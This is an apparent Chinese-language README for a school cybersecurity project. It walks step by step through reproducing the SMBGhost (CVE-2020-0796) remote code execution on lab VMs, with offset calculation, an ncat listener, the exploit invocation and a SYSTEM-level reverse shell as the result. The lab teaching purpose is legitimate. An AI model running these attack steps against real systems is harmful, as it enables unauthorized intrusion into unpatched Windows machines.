用于CVE-2020-0796(SMBGhost)的教育性概念验证漏洞利用,演示Windows SMBv3上的预认证远程代码执行。包含逐步实验室设置、偏移量计算和反向Shell执行,用于受控的网络安全培训。
该项目演示了 CVE-2020-0796(又称 SMBGhost)的概念验证 (PoC) 漏洞利用,这是一个影响使用 SMBv3 的 Windows 10 和 Windows Server 系统的严重未授权远程代码执行漏洞。该项目是学校网络安全项目的一部分。所有漏洞利用代码归功于 ZecOps。我仅出于教育目的使用并改编了这些代码,以在受控实验环境中演示 CVE-2020-0796 的利用。
要复现此演示,需要以下设置:
SMBleedingGhost.py by ZecOpscalc_target_offsets.bat by ZecOps在攻击机和目标机虚拟机上分别启动命令提示符。
在每个虚拟机上执行以下命令:
ipconfig
CVE-2020-0796-RCE-POC-master 文件夹。calc_target_offsets.batCVE-2020-0796-RCE-POC-master 文件夹。SMBleedingGhost.py,选择用记事本打开。SMBleedingGhost.py 文件中,向下滚动找到以 OFFSETS = { 开头的部分。打开一个新的命令提示符并运行:
ncat -lvp 4321
4321,以便在成功利用后从目标虚拟机接收反向 shell。cd Desktop
cd CVE-2020-0796-RCE-POC-master
dir
python SMBleedingGhost.py <target_ip> <attacker_ip> <port>
此演示中使用的示例:
python SMBleedingGhost.py 192.168.18.61 192.168.18.62 4321
192.168.18.61:目标虚拟机 IP192.168.18.62:攻击虚拟机 IP4321:netcat 监听器使用的端口如果成功,netcat 窗口将显示:
Microsoft Windows [版本 10.0.18362.356]
(c) 2019 Microsoft Corporation。保留所有权利。
C:\Windows\system32>
这证实了:
你可以通过执行以下命令验证访问:
whoami
这将输出:
whoami
nt authority\system
这意味着攻击虚拟机现在拥有目标虚拟机的系统级权限。
你也可以运行:
ipconfig
以验证你正在与目标虚拟机的网络进行交互。

注意:目标虚拟机在利用后可能会崩溃。如果发生,你可以重新启动它。攻击者会话需要重启后重新建立。
本次演示基于 ZecOps 开发并公开的概念验证。
所有漏洞利用代码归功于 ZecOps。我仅出于教育目的使用并改编了这些代码,以在受控实验环境中演示 CVE-2020-0796 的利用。
本仓库仅供教育目的创建。
所有展示的工具、脚本和技术旨在帮助用户在受控实验环境中理解网络安全漏洞。请勿尝试在任何不属于你或未经你明确许可测试的系统或网络上使用所提供材料的任何部分。
任何滥用本软件的行为均不由作者负责。